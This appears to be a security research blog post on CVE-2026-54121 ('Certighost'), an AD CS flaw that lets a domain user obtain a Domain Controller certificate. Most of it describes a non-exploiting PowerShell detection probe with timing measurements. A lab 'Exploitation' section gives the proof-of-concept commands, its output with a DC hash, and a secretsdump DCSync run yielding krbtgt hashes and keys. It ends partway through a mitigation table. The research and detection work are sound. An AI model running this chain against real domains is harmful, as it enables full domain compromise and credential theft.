Certighost (CVE-2026-54121): Detecting an AD CS Domain Controller Impersonation Without Exploiting It
Executive Summary
- Certighost (CVE-2026-54121), scored by Microsoft at CVSS 8.8 (
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), lets an authenticated domain user obtain a CA-signed certificate carrying the identity of a Domain Controller, leading directly to directory replication and full domain compromise. - The flaw is a trust boundary failure. An affected CA resolves the requesting principal against a directory host supplied by the client, without verifying that the host is a Domain Controller, and treats the response as authoritative.
- The July 2026 updates add a validator to
certpdef.dll. Its first layer rejects malformed chase targets before any network I/O, which is what makes remote detection possible. - Measured signature: an affected CA spends ~22 seconds failing to reach a non-existent chase target. A patched CA rejects the same value in ~4 milliseconds without touching the network. Confirmed on Server 2019 and Server 2025, across two domains.
- The resulting check never impersonates anyone, never stands up a rogue listener, never creates an account, and cannot complete the attack, because the address handed to the CA is unroutable and the chase can only fail.
- The attack works with
EDITF_ATTRIBUTESUBJECTALTNAME2disabled. This is not ESC6 under a new name. A CA with clean templates and clean flags is still exposed. - Three constraints govern any detection built on this, and two of them fail toward "clean": the chase is reachable only from a computer account context, an affected CA caches the failed lookup, and the 22-second stall is a connect timeout that a filtering network can erase.
The Vulnerability
Active Directory Certificate Services issues the certificates that machines and users authenticate with. Processing an enrollment request requires resolving the requesting principal in Active Directory and reading the identity values that end up inside the certificate: objectSid, dNSHostName, userAccountControl.
That lookup is normally local. AD CS also supports a cross-domain fallback, known internally as a chase, in which the requesting client names the directory host the CA should ask. Two request attributes drive it:
cdc(Client DC) names the host the CA contacts.rmd(Remote Domain) names the principal to look up on that host.
ICertRequest::Submit has always accepted a free-form attribute string, documented as a newline-separated list of Name:Value pairs:
CertificateTemplate:Machine
SAN:dns=host.corp.local
cdc:10.0.0.50
rmd:dc01.corp.local
Any client that can submit an enrollment request can put whatever it likes in there. On an affected CA, CRequestInstance::_LoadPrincipalObject() reads cdc and passes it into _GetDSObject() with chasing enabled. The CA connects to that host over SMB and LDAP and treats the response as authoritative.
An attacker controlling the host on the other end therefore controls which identity the CA writes into the certificate. Stand up services that answer those queries, return the objectSid and dNSHostName of a Domain Controller, and the CA issues a certificate for that Domain Controller. PKINIT recovers the DC account's Kerberos ticket and hash; directory replication then yields krbtgt and every other secret in the domain.
What the July 2026 Update Changed
The fix introduces CRequestInstance::_ValidateChaseTargetIsDC, which validates the supplied target in three layers:
| Layer | What it does | What it rejects |
|---|---|---|
| String | Pure string inspection, no network I/O | Empty values, leading backslash, names longer than 260 (0x104) characters, IPv4 and IPv6 literals (via RtlIpv4StringToAddressW / RtlIpv6StringToAddressW), LDAP metacharacters ( ) * [ \ ] |
| Directory | LDAP query confirming the target is a Domain Controller | Anything where (&(objectCategory=computer)(dNSHostName=<cdc>)(userAccountControl:1.2.840.113556.1.4.803:=8192)) returns no match, retried once against a base DN derived by _ExtractBaseDNForDCSearch. The 8192 is SERVER_TRUST_ACCOUNT |
| SID | Compares the resolved object's SID against the expected value | Any mismatch |
The first layer is the one defenders can use. A patched CA rejects an IPv4 literal purely by inspecting the string, so it never opens a socket. An affected CA has no such check and the same value goes straight into the chase.
The patch created an observable behavioral difference, and that difference is measurable from outside the host.
Installing the Update Is Not the Same as Activating It
The new code path sits behind a servicing feature gate, Feature_3185813818. The patched _LoadPrincipalObject checks the gate and falls back to legacy behavior when it is not enabled, so a CA can carry the updated binary and still behave like an affected one.
There is no documented way to query a Velocity feature gate from outside the host, which makes "we installed the July update" a weaker statement than it appears in remediation tracking. The reliable answer is behavioral.
In our lab the gate was active out of the box: KB5099538 on Windows Server 2019, reboot, nothing else changed, and the validator rejected probe values immediately. That is one data point. Treat the behavioral check as the source of truth rather than the update record.
Lab Environment
| Role | Host | Address | Notes |
|---|---|---|---|
| Domain Controller | sddc01 |
192.168.231.61 |
Domain fslab.local (NetBIOS FSLAB) |
| Second DC | sddc02 |
- | Used as the rmd target in some runs |
| Certification Authority | sdca01 |
192.168.231.62 |
Enterprise CA forestallCA, Windows Server 2019 |
| Low-privileged user | normal |
- | Domain Users only, password <redacted> |
| Computer account | FSSCAN01$ |
- | Created for the probe, password <redacted> |
| Scanner host | - | 192.168.231.36 |
Not domain joined, uses LOGON32_LOGON_NEW_CREDENTIALS |
ms-DS-MachineAccountQuota starts at 0, so the exploit's own account-creation step fails until it is raised or an existing computer account is supplied. The probing host is deliberately not domain joined, to establish that the detection works from a standalone machine.
The starting state of the CA, taken from the host itself:
certutil.exe -config "sdca01.fslab.local\forestallCA" -getreg "policy\EditFlags" # 0x0015014e
(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').UBR # 5936
(Get-Item C:\Windows\System32\certpdef.dll).VersionInfo.FileVersion # 10.0.17763.1
Bit 0x00100000 of EditFlags is EDITF_ENABLECHASECLIENTDC, so the chase fallback is enabled, a precondition rather than a verdict, since a patched CA can have it set and remain safe. Build 17763.5936 predates the fix, and certpdef.dll carries the validator, making its version the most direct indicator of exposure.
Detection
Why Patch-Level Checks Are Not Enough
Reading the CA host's build number requires privileged access to the CA, which a scanning account frequently does not have. Reading EDITF_ENABLECHASECLIENTDC produces answers in both wrong directions: a patched CA with the flag enabled is not exploitable, so the flag alone yields false positives, and a CA whose registry you cannot reach may be fully exploitable, so its absence yields false negatives.
The question that matters is not "which patch is installed" but "does this CA validate a chase target I supply".
The Differential Probe
Two enrollment requests, compared.
The control carries no chase attributes. Its job is not to produce a signal but to establish that the request reaches the enrollment path at all. If the control is rejected (missing enrollment rights, a missing template, failed authentication), a rejected probe means nothing, because the rejection cannot be attributed to the chase validator rather than to something earlier.
The probe is the same request plus cdc and rmd. The cdc value is an address from the RFC 5737 documentation ranges, drawn fresh for every run.
That address choice is the safety property that makes this a detection rather than an attack. The exploit requires the address it supplies to answer; this guarantees the opposite. The chase can only fail, no forged identity data can return, and the request always ends in a denial.
We initially also drew from RFC 2544's 198.18.0.0/15 and stopped. Despite being a reserved benchmarking range, it is used as real internal address space by several SD-WAN and VPN products, so a probe there is not reliably a probe into nowhere.
Detection, Not Exploitation
The distinction is worth stating precisely, because the two share an entry point and diverge immediately after it:
| Published exploit | This check | |
|---|---|---|
| Machine account | Creates one through ms-DS-MachineAccountQuota |
Uses a computer identity that already exists; creates nothing |
| Rogue listeners | Required: binds LSA on 445 and LDAP on 389 | None |
| Chase target | An attacker-controlled host that answers | An unroutable address that cannot answer |
| Certificate obtained | A Domain Controller identity, usable for PKINIT | None; the request is always denied |
| Directory writes | New computer object and its service principal names | None |
| Residue on the CA | An issued certificate for a Domain Controller | Two machine certificates issued to the scanner's own identity, one denied request row, and the matching 4886/4887 events |
| Outcome | Domain compromise | A verdict |
The check does not create a machine account, but it does require one. The chase is unreachable from a user principal, so a computer identity is mandatory. That is either the probing host's own, by running as SYSTEM on a domain-joined machine, or an existing computer account's credentials supplied to a standalone host. Creating an account to satisfy that requirement would be the wrong trade: it is a directory write, it consumes machine account quota, and Event 4741 from an ordinary user is one of the signals defenders hunt for in this very attack. A vulnerability check should not manufacture its own indicators of compromise.
It is not, however, without trace. Each run leaves a denied request row carrying the cdc and rmd values, plus two issued machine certificates from the controls that bracket the probe. That is the expected footprint for a scanner, but it should be known in advance: a probe against production surfaces in exactly the telemetry the Native Detection Signals section recommends monitoring, and at scale adds two certificates per CA per scan to a database someone has to maintain.
The SAN:dns= value is the scanner's own FQDN. Asking the CA to place someone else's name there is a different vulnerability class, already covered by AD CS assessments as ESC1 and ESC6.
There is no custom RPC stack behind this. ICertRequest2 already speaks MS-ICPR and the CR_IN_RPC flag selects that transport over DCOM, so the probe is one Submit call against a throwaway 2048-bit CSR. The attribute string is the entire vector: rmd pushes the CA into the chase path, cdc is where it goes.
Two things the probe deliberately does not do, both of which the exploit requires: it never listens on a port, and it never stands up a rogue LDAP or SMB service. The exploit needs the CA to succeed; detection only needs to know whether it tried, and that is measurable in-band from the Submit call.
Measured Signatures
Enterprise CA on Windows Server 2019, probed from a non-domain-joined host, changing only the patch state:
| CA state | Control request | Probe request | Verdict |
|---|---|---|---|
| Affected (17763.5936) | Issued, 143 ms | 0x800706BA, 22148 ms |
Affected |
| Affected | Issued, 20 ms | 0x800706BA, 22139 ms |
Affected |
| Affected | Issued, 18 ms | 0x800706BA, 22147 ms |
Affected |
| Patched (17763.9020) | Issued, 875 ms | 0x80070005, 8 ms |
Not affected |
| Patched | Issued, 23 ms | 0x80070005, 3 ms |
Not affected |
| Patched | Issued, 22 ms | 0x80070005, 3 ms |
Not affected |
The affected CA went looking for an address that does not exist and spent 22 seconds failing to reach it. Three status codes appear in these results, and they are not equally informative:
| Status | Win32 meaning | Evidentiary weight |
|---|---|---|
0x800706BA |
RPC_S_SERVER_UNAVAILABLE |
Narrow. A transport failure. Paired with a multi-second stall it is hard to produce by accident, because something had to attempt a connection and wait for it to time out |
0x80070005 |
E_ACCESSDENIED |
Wide. A denial, and the generic Windows one. The validator's rejection is only one of the things that produces it |
0x80070576 |
ERROR_TIME_SKEW |
Transient, observed once on a CA that had just rebooted and had not yet resynchronised its clock |
That asymmetry matters, because the two codes sit on opposite sides of the verdict. RPC_S_SERVER_UNAVAILABLE is the affected signature and is specific. E_ACCESSDENIED is the patched signature and is not: a CA also returns it when DCOM activation is refused, when enrollment rights are missing at the CA rather than the template level, when RPC packet privacy is enforced, and when a third-party policy module rejects a request for its own reasons. Any of those that deny the probe while allowing the control will produce a fast E_ACCESSDENIED on an unpatched CA: the patched signature, on a vulnerable host.
The disposition message is what separates them. Microsoft's validator names the reason it rejected the request, so a fast E_ACCESSDENIED accompanied by a validator message is a patched CA, while the same code with an unrelated message or none at all is an unexplained denial and should be reported as such rather than as clean.
Repeated on a separate platform, an Enterprise CA on Windows Server 2025 in a different domain, probed from a domain-joined member under its own machine account:
| CA state | Control request | Probe request | Verdict |
|---|---|---|---|
| Affected (26100.1742) | Issued, 276 ms | 0x800706BA, 21010 ms |
Affected |
| Affected | Issued, 2309 ms | 0x800706BA, 21040 ms |
Affected |
| Affected | Issued, 46 ms | 0x800706BA, 21028 ms |
Affected |
| Patched (26100.33158) | Issued, 370 ms | 0x80070005, 5 ms |
Not affected |
| Patched | Issued, 32 ms | 0x80070005, 4 ms |
Not affected |
Both signatures held across both platforms: affected CAs stalled on RPC_S_SERVER_UNAVAILABLE at roughly 21 seconds on Server 2025 versus 22 on Server 2019, and patched CAs rejected in single-digit milliseconds with 0x80070005 and the identical validator string. The stall is the operating system's connect timeout rather than anything version-specific, which is why the two land within a second of each other.
The control ranged from 32 ms to 2.3 seconds depending on CA load, wide enough that it works as a reachability check and not as a timing baseline. The control row is otherwise identical in both states. Enrolling for your own machine certificate is what every domain computer does during autoenrollment; it carries no vulnerability signal, which is what makes it a valid control.
The patched CA's rejection message is not our interpretation of the result. It is the string emitted by Microsoft's validator:
The client-supplied domain controller name is not a valid FQDN. The enrollment request has been rejected. Domain controller: 198.51.100.61 Requester: CN=FSSCAN01,CN=Computers,DC=fslab,DC=local
In one run the message came from the directory layer instead of the string layer, reporting that the supplied host "was not found as a domain controller in the global catalog". Keying a detection on a single error string is brittle in the direction that matters: an unrecognised message reads as "not the patched string", which a naive implementation turns into "vulnerable".
Classification
No single signal carries a verdict. Each conclusion requires agreement between the status code and the latency, plus the disposition message on the patched side, where the status code is generic.
| Verdict | Requires |
|---|---|
| Inconclusive | Either control failed to reach the policy module (disposition other than issued, issued-out-of-band, or pending) |
| Vulnerable | RPC_S_SERVER_UNAVAILABLE and a stall past the threshold and both controls issued |
| Inconclusive | RPC_S_SERVER_UNAVAILABLE without a stall: a CA that was never reached, not a vulnerable one |
| Not exploitable | E_ACCESSDENIED and a sub-threshold response and a validator disposition message |
| Inconclusive | E_ACCESSDENIED without a validator message, or any other profile |
A patched CA rejects an IPv4 literal at the string layer, before opening a socket, so it structurally cannot return a transport error for this probe. RPC_S_SERVER_UNAVAILABLE therefore rules out the patched path. What it does not establish is that the CA reached for the supplied address, because the same code is what the scanner receives when its own DCOM call to the CA fails.
The latency separates those two only when the failure is fast. That covers a rejected connection: a RST from a firewall, or the authentication denial shown below, both of which return in single-digit milliseconds. It does not cover a dropped one. The 21 to 22 seconds measured above is the Windows TCP connect timeout, a SYN retransmission sequence that gives up at roughly 21 seconds, and a scanner whose own path to the CA is silently dropped waits exactly as long for exactly the same reason. Those two stalls are indistinguishable by duration, because they are the same timeout on different legs of the path.
The control is the only thing that separates them, which is why there are two of them. The first establishes that the CA was reachable before the probe; the second, issued after it, establishes that the CA was still reachable afterwards. A verdict of vulnerable requires both. Without the second, a CA that becomes unreachable between the control and the probe (a service restart during a patch window, a route reconvergence, a firewall state table eviction) produces a 21-second RPC_S_SERVER_UNAVAILABLE that is the affected signature exactly. The cost of closing that race is one additional enrollment request per CA.
The thresholds are 5000 ms to call something affected and 1500 ms to call it patched. Under these rules every measurement above classifies as it does in the tables, and ambiguous cases fall out as inconclusive rather than as a verdict in either direction.
That failure mode is not hypothetical. The Server 2025 CA above was first probed from an unauthenticated angle in a domain where NTLM was denied outright, RestrictReceivingNTLMTraffic and RestrictSendingNTLMTraffic both set, the configuration a hardened environment moves toward. Authentication broke before the request reached the enrollment path:
control : -1/0x800706BA 9 ms
probe : -1/0x800706BA 0 ms
message : CCertRequest::Submit: The RPC server is unavailable. 0x800706ba
VERDICT : Inconclusive (ChaseNotReached: control not issued)
The probe row carries 0x800706BA, the same code that means "affected" when it returns from a CA that was actually reached. The only separator is latency: 0 ms here against 21 seconds there. A classifier keying on the error code alone would report a CA it could not even authenticate to as vulnerable, with a confident-looking error code behind it. Both guards catch it here: the control never issued, and the probe never stalled.
The same CA measured cleanly as affected once the probe authenticated as a domain-joined computer and the control came back issued.
Requirement: A Computer Account Context
The public analyses describe the exploit creating a machine account and correctly note that a low-privileged user is all that is needed to start. Neither states that the machine account is what makes the chase reachable in the first place, rather than a convenience for registering service principal names.
Probing as an ordinary domain user against the User template produces nothing. More than twenty combinations of cdc and rmd (IPv4 literals, non-existent hostnames, LDAP metacharacters, a 280-character name, and rmd as DC FQDN, domain FQDN, NetBIOS name, DOMAIN\user, UPN and distinguished name) were every one issued in 4 to 6 milliseconds, indistinguishable from the control, on a CA already known to be affected.
The explanation is in the proof of concept's own source. The enrollment request is not submitted as the user:
rpctransport.set_credentials(comp_name, "", domain, "", nt)
It is submitted as the newly created machine account. The user credentials serve only the LDAP connection and the account creation. A CA resolves a user in its own domain locally and never needs to chase, so cdc stays a dead attribute. The same probe from a computer account context against the Machine template produces the behavior immediately.
For detection this means the probe must run under a computer identity, and obtaining one should not involve creating an account: a tool that creates machine accounts to check for a vulnerability generates exactly the noise a defender is trying to detect.
Local administrator rights on the probing host are not the requirement. Local privilege says nothing about which identity is presented on the network. Elevating to SYSTEM only helps on a domain-joined host, because that is where SYSTEM authenticates over the network as the machine's own computer account. Domain membership is the gate, not the elevation. Off a joined host, LogonUser with LOGON32_LOGON_NEW_CREDENTIALS supplies the identity explicitly, keeping the local identity local while using the supplied credentials for network authentication:
LogonUser(username, domain, password,
LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, ref token);
ImpersonateLoggedOnUser(token);
Every measurement in this post was taken that way, from a standalone Windows box on the lab subnet with no domain membership, authenticating as FSSCAN01$.
Requirement: A Target the CA Has Not Seen
An affected CA caches the failed chase lookup. Neither published analysis mentions this, and it is the finding most likely to break someone else's detection.
The first probe against a given address stalls for 22 seconds. The second probe against the same address returns in 3 to 4 milliseconds, with the error surfacing as 0x800706BA on some repeats and 0x80070005 on others. We did not instrument the CA deeply enough to determine why a cached negative surfaces as E_ACCESSDENIED rather than a transport error.
The consequence: a cached target produces the patched signature on an affected CA. A detection that reuses a fixed probe address works exactly once per CA and reports clean forever after.
How long the cache holds is unmeasured. If it is the Netlogon negative cache (NegativeCachePeriod, 45 seconds by default), spacing probes in time would be sturdier than rotating addresses.
Where This Detection Fails
The signatures are confirmed on Server 2019 and Server 2025, across two domains. The limits below matter in practice; most of them fail toward "clean", which is the wrong direction for a security check.
A generic denial reads as patched. As above, E_ACCESSDENIED is not specific to the validator. Requiring a validator disposition message keeps an unrelated denial from being scored as a patched CA, at the cost of some inconclusive results on CAs that phrase their rejections differently.
A dropped path to the CA imitates the affected signature exactly. Both stalls are the same Windows TCP connect timeout, so a scanner whose packets to the CA are silently discarded waits the same 21 seconds and receives the same RPC_S_SERVER_UNAVAILABLE as a genuinely affected CA. Nothing in the probe itself distinguishes them. The paired controls are the entire defence, and a scanner that drops the second control to save a request has reopened the hole.
The same timeout erases the signature in the other direction. The stall only occurs when the CA's packet to the probe address is silently dropped. A server VLAN with no default route, a firewall that RSTs denied traffic, or a null route covering the documentation ranges all make an affected CA fail fast, which reads as patched. Before trusting a "not affected" verdict at scale, confirm that traffic from the CA subnet toward the probe range is black-holed rather than rejected.
Address pool exhaustion re-introduces the cache. The RFC 5737 pool is 762 usable values, so repeated scanning of the same CA passes a fifty percent chance of reuse at around thirty probes. A script run by hand can live with that. A scanner on a schedule needs to record which addresses it has already spent against each CA.
A disabled chase flag reads as patched. An unpatched CA with EDITF_ENABLECHASECLIENTDC cleared exhibits no chase behavior, and no external probe can separate it from a patched one. The honest verdict is "not currently exploitable", which is one certutil command away from being wrong.
The thresholds are deliberately wide (5 seconds to call something affected, 1.5 to call it patched), so a few seconds of drift in the connect timeout between Windows builds changes nothing. Measure any new platform before trusting it.
Our results cover two of the four affected Windows versions and one CA topology. The surface that remains untested, in rough order of how much it would change an operator's confidence:
| Untested condition | Why it matters |
|---|---|
| Server 2022, Server 2016 | Two of the four serviced versions, and Server 2022 carries a large share of production issuing CAs |
| Third-party or custom policy module | The main source of E_ACCESSDENIED that is not the validator, and the case the message check is guessing at |
| A domain that legitimately uses cross-domain enrollment | The only environment where the chase path is in production use rather than dormant |
| CA with an HSM, or under sustained load | Drives control latency up and tests whether the control-relative stall threshold holds |
Machine template unpublished or replaced |
The script hardcodes it; a hardened CA often publishes a renamed template instead, and the control fails for a reason unrelated to the CA's patch state |
| Manager approval on the enrollment template | Control returns pending rather than issued, which the classifier accepts but which no measurement here exercises |
RPC packet privacy enforced on the CA (IF_ENFORCEENCRYPTICERTREQUEST) |
Common post-ESC8 hardening; expected to fail the control cleanly, unverified |
| A network that rejects rather than drops the probe range | Erases the stall entirely, and is the failure mode most likely to be widespread |
Native Detection Signals
For telemetry rather than scanning, the most specific artifact is a certificate request carrying a cdc or rmd attribute. These are rare in normal enrollment traffic. The CA database records the full attribute set of every request:
certutil.exe -view -restrict "Disposition=20" -out "RequestID,RequesterName,Request.RequestAttributes,CertificateTemplate"
Correlate with outbound connections from the CA host. A Certification Authority opening SMB and LDAP sessions to a host that is not a Domain Controller is unusual and visible in network telemetry.
| Event ID | What it tells you |
|---|---|
| 4886 | Certificate Services received a certificate request, including its attributes |
| 4887 | A certificate was issued, including subject and requester |
| 4768 | A Kerberos TGT was requested, including certificate issuer and serial |
| 4662 | A directory operation, useful for spotting DS-Replication-Get-Changes |
| 4741 | A computer account was created, which the published exploit needs |
Watch in particular for computer accounts created by ordinary users through the machine account quota, service principal names registered against hosts that do not exist in the directory, and replication requests from a Domain Controller account that recently authenticated with a certificate.
Running the Check
The detection fits in one PowerShell script. It sends a control request, the probe, and a second control, applies the classification above, and prints a verdict. The cdc address is unroutable, so it cannot complete the attack.
The chase is only reachable from a computer account, so run it as SYSTEM on a domain-joined host, with PsExec -s or a scheduled task set to /ru SYSTEM. Because PsExec -s starts SYSTEM in C:\Windows\System32, pass the script's full path rather than a relative one. Running it as yourself, even as a domain admin, produces nothing.
It takes two inputs, a CA config string and a DC FQDN. Both come straight from AD on any domain-joined Windows, no RSAT or extra tools needed. Run these, pick a CA and a DC from the output:
# CA config strings, in the host\CAName form the script expects:
$conf = ([ADSI]"LDAP://RootDSE").configurationNamingContext
([ADSI]"LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,$conf").Children |
ForEach-Object { "{0}\{1}" -f $_.Properties["dNSHostName"].Value, $_.Properties["cn"].Value }
# DC FQDNs, any one works for -DcFqdn:
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers.Name
Then:
# Test-AdcsChase.ps1 - run AS SYSTEM on a domain-joined host. PsExec -s starts SYSTEM in System32, so pass the script's FULL path below, not a relative one:
# PsExec.exe -s -accepteula powershell -ExecutionPolicy Bypass -File C:\Tools\Test-AdcsChase.ps1 -CaConfig "CA01.corp.local\corp-CA" -DcFqdn "dc01.corp.local"
param([Parameter(Mandatory)][string]$CaConfig, [Parameter(Mandatory)][string]$DcFqdn)
$CR = 0x1 -bor 0x100 -bor 0x20000 # CR_IN_BASE64 | CR_IN_PKCS10 | CR_IN_RPC
$RPC_UNAVAILABLE = 0x800706BA; $ACCESS_DENIED = 0x80070005
$SlowMs = 5000; $FastMs = 1500
$rsa = [System.Security.Cryptography.RSA]::Create(2048)
$csr = [Convert]::ToBase64String(
[System.Security.Cryptography.X509Certificates.CertificateRequest]::new(
"CN=Chase-Probe", $rsa, "SHA256",
[System.Security.Cryptography.RSASignaturePadding]::Pkcs1).CreateSigningRequest())
# Fresh RFC 5737 target each run - an affected CA caches failed lookups.
$net = @("192.0.2","198.51.100","203.0.113") | Get-Random
$cdc = "$net.$(Get-Random -Min 1 -Max 255)"
function Submit($attrs) {
$r = @{ Disp = 0; Status = 0; Ms = 0; Msg = "" }; $sw = [Diagnostics.Stopwatch]::StartNew()
try {
$c = New-Object -ComObject CertificateAuthority.Request
$r.Disp = $c.Submit($CR, $csr, $attrs, $CaConfig)
$r.Status = $c.GetLastStatus(); $r.Msg = $c.GetDispositionMessage()
} catch { $r.Status = $_.Exception.HResult } finally { $sw.Stop(); $r.Ms = $sw.ElapsedMilliseconds }
$r
}
$san = "$env:COMPUTERNAME.$env:USERDNSDOMAIN"
$baseline = "CertificateTemplate:Machine`nSAN:dns=$san"
# Bracket the probe with two controls. A path to the CA that DROPS packets stalls
# for the same ~21s as an affected CA chasing a bogon - only a control separates them.
$control = Submit $baseline
$probe = Submit "$baseline`ncdc:$cdc`nrmd:$DcFqdn"
$control2 = Submit $baseline
$ps = $probe.Status -band 0xffffffff
$reached = ($control.Disp -in 3,4,5) -and ($control2.Disp -in 3,4,5)
# Affected requires BOTH the transport error AND the stall. The error code alone is
# also what an unreachable CA returns; only the stall proves the CA went looking.
$stall = [Math]::Max($SlowMs, $control.Ms + 4000)
# E_ACCESSDENIED is generic - a CA returns it for DCOM, enrollment-rights and
# policy-module denials too. Only a validator message makes it mean "patched".
$validator = $probe.Msg -match 'not a valid FQDN|not found as a domain controller'
"control : disp={0} status=0x{1:X8} {2} ms" -f $control.Disp, ($control.Status -band 0xffffffff), $control.Ms
"probe : disp={0} status=0x{1:X8} {2} ms" -f $probe.Disp, $ps, $probe.Ms
"control2: disp={0} status=0x{1:X8} {2} ms" -f $control2.Disp, ($control2.Status -band 0xffffffff), $control2.Ms
"message : {0}" -f $probe.Msg
"VERDICT : " + $(
if (-not $reached) { "Inconclusive - CA policy module not reachable before and after the probe" }
elseif ($ps -eq $RPC_UNAVAILABLE -and $probe.Ms -ge $stall) { "VULNERABLE" }
elseif ($ps -eq $RPC_UNAVAILABLE) { "Inconclusive - transport error without stall. Confirm the CA subnet black-holes $net.0/24 instead of rejecting it" }
elseif ($ps -eq $ACCESS_DENIED -and $probe.Ms -lt $FastMs -and $validator) { "Not exploitable - validator rejected before network I/O (patched, or chase disabled)" }
elseif ($ps -eq $ACCESS_DENIED -and $probe.Ms -lt $FastMs) { "Inconclusive - fast denial with no validator message. Do not read as patched; check CA enrollment rights, DCOM permissions and policy module" }
else { "Inconclusive - unknown profile" })
Against an affected Server 2019 CA, running as the member host's machine account. Both controls come back issued and bracket the probe, the probe stalls for 22 seconds on the unroutable cdc before the CA denies it, and the message line carries the CA's own wording:
control : disp=3 status=0x00000000 34 ms
probe : disp=2 status=0x800706BA 22120 ms
control2: disp=3 status=0x00000000 5 ms
message : Denied by Policy Module
VERDICT : VULNERABLE
The same script returned the same verdict against a Server 2025 CA in a separate domain, with the probe stalling at 21 seconds instead of 22.
A control that does not reach the CA policy module, or a probe that fails without stalling, produces inconclusive rather than a guess. A check that cannot see the CA should report that, not label it clean.
Exploitation
Warning: This section documents a lab reproduction for educational purposes. Run these steps only in an isolated environment you control. The chain issues a certificate carrying a Domain Controller's identity and uses it to replicate directory secrets. Treat any environment you run it in as compromised.
The Chain
The published tool automates six steps:
| Step | What happens | Why it is needed |
|---|---|---|
| 1 | Create a computer account, or reuse one supplied on the command line | The chase is only reachable from a computer principal |
| 2 | Start a rogue LSA listener on 445 and a rogue LDAP listener on 389 | These answer the CA's lookup |
| 3 | Submit an enrollment request with cdc pointing at the attacker and rmd naming the target DC |
This is the vulnerable path |
| 4 | The rogue services validate the CA's credentials against the real DC over Netlogon, then reply with the target DC's objectSid and dNSHostName |
The relay makes the forged answer look legitimate |
| 5 | The CA issues a certificate carrying the DC's identity | Trust boundary failure |
| 6 | PKINIT with that certificate, then DCSync | Turns the certificate into domain compromise |
Running It
The published proof of concept is written for Linux and binds privileged ports, so it runs from a Linux attacker host rather than from Windows, where the SMB server already owns 445. Use a source build of Impacket: the rogue LSA server calls SimpleSMBServer.setComputerAccount, which Kali's packaged version does not provide. Most endpoint protection quarantines Impacket as HackTool:Python/Impacket on sight, so plan an exclusion.
git clone https://github.com/aniqfakhrul/CVE-2026-54121
cd CVE-2026-54121
python3 -m venv .venv && . .venv/bin/activate
pip install "git+https://github.com/fortra/impacket.git" asn1crypto ldap3
The tool needs a low-privileged domain user and the addresses of the DC and the CA. Root is required because it binds 445 and 389.
sudo ./.venv/bin/python certighost.py -d fslab.local -u normal -p '<password>' \
--dc-ip 192.168.231.61 --ca-ip 192.168.231.62 --target-san 'SDDC01$'
--target-san takes an account name, not a DNS name. Where ms-DS-MachineAccountQuota is 0, step 1 cannot create an account and an existing computer account has to be supplied with --computer-name and --computer-pass.
The run against the unpatched CA:
[*] Connecting to LDAPS
[*] Detecting infrastructure
DC: 192.168.231.61 | CA: forestallCA (192.168.231.62)
Target: SDDC01$ | SID: S-1-5-21-3874267901-3179615911-1813211560-1001
[*] Creating computer: GHOSTZFOOYOJF$
[*] Starting rogue servers (LSA:445 + LDAP:389)
[*] Requesting certificate (template=Machine, cdc=192.168.231.187)
Saved: sddc01.pfx
[*] PKINIT as SDDC01$
[*] Got hash for SDDC01$:
SDDC01$:aad3b435b51404eeaad3b435b51404ee:e93a05dd7d53e567aab7015e309f9c4e
ccache: sddc01.ccache
[*] GGWP
The driving account, normal, is a member of Domain Users and nothing else.

A low-privileged domain user obtains a certificate for SDDC01$ and PKINITs with it.
From the rogue server's side:
INFO: Incoming connection (192.168.231.62,50773)
INFO: AUTHENTICATE_MESSAGE (FSLAB\SDCA01$,SDCA01)
INFO: User SDCA01\SDCA01$ authenticated successfully
The issued certificate carries the Domain Controller as its subject, signed by the enterprise CA:
subject=CN=sddc01.fslab.local
issuer=DC=local, DC=fslab, CN=forestallCA
X509v3 Extended Key Usage: TLS Web Client Authentication, TLS Web Server Authentication
Three Reproduction Blockers
None of these means the CA is safe.
Impacket version. The rogue LSA server calls SimpleSMBServer.setComputerAccount to validate the CA's incoming authentication through the real DC over Netlogon and recover the session key. Kali's packaged Impacket lacks that method, and the script's fallback shim only writes configuration keys. The server then grants Guest access instead: session setup succeeds with Session Flags: 0x0001, Guest, a Windows client refuses a guest session and resets the connection, and the request fails with 0x800706ba. It presents as a network problem and is not one.
NTLM level on the CA. With LmCompatibilityLevel = 2, the CA sends NTLMv1 and pass-through validation fails with STATUS_WRONG_PASSWORD from NetrLogonSamLogonWithFlags, because the DC will not validate an NTLMv1 response through Netlogon. The capture shows a 24-byte NT response with no NTProofStr. Restoring the Windows default of 3 resolves it.
ESC6 inverting the result. With EDITF_ATTRIBUTESUBJECTALTNAME2 enabled, the requester-supplied SAN:dns= attribute takes precedence, so the certificate comes back with its subject set to the Domain Controller from the chase but its SAN still carrying the attacker's own machine name. PKINIT then fails with KDC_ERR_CLIENT_NAME_MISMATCH, which presents as a failed attack against a CA that is in fact vulnerable. Clearing the flag removes the conflict and the chain completes. Certighost needs no template or CA misconfiguration, and a CA with ESC6 correctly disabled is more exposed to this chain, not less.
From Certificate to Domain Compromise
The tool performs PKINIT itself and writes the .ccache, so the certificate is already a Domain Controller identity. Replication follows directly:
export KRB5CCNAME=$PWD/sddc01.ccache
impacket-secretsdump -k -no-pass 'fslab.local/[email protected]' -just-dc-user krbtgt
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3dcb42f0bf54af842fe71ea5db1c7925:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:cd1f2b8ed0d3d82dad4a1f19e36a60db6da2ac9dab5368109c67ae4583bdbfcf
Replacing -just-dc-user krbtgt with -just-dc replicates the whole directory, Administrator included.

Replication with the impersonated Domain Controller identity yields krbtgt and every other secret in the domain.
A single unprivileged domain user reaches krbtgt without touching a template ACL. The krbtgt hash enables Golden Ticket forgery and the Administrator hash enables pass-the-hash; recovery requires a krbtgt double reset plus full credential rotation.
What separates this from other AD CS abuse: ESC1 through ESC16 concern templates and CA configuration a defender can review and fix. Certighost needs none of that. Every template can be correctly configured and the CA still hands out a Domain Controller's identity, because the flaw is in how the CA resolves the requester rather than in what the templates allow.
Mitigation
Install the July 2026 security update on every Enterprise CA. This is the complete remediation. It adds the validation confirming that the supplied chase target is a genuine Domain Controller and that the resolved SID matches what was expected.
Resolved from Microsoft's Security Update Guide API, the July 2026 cumulative updates carrying the fix are:
| Windows Server | Update |
|---|---|
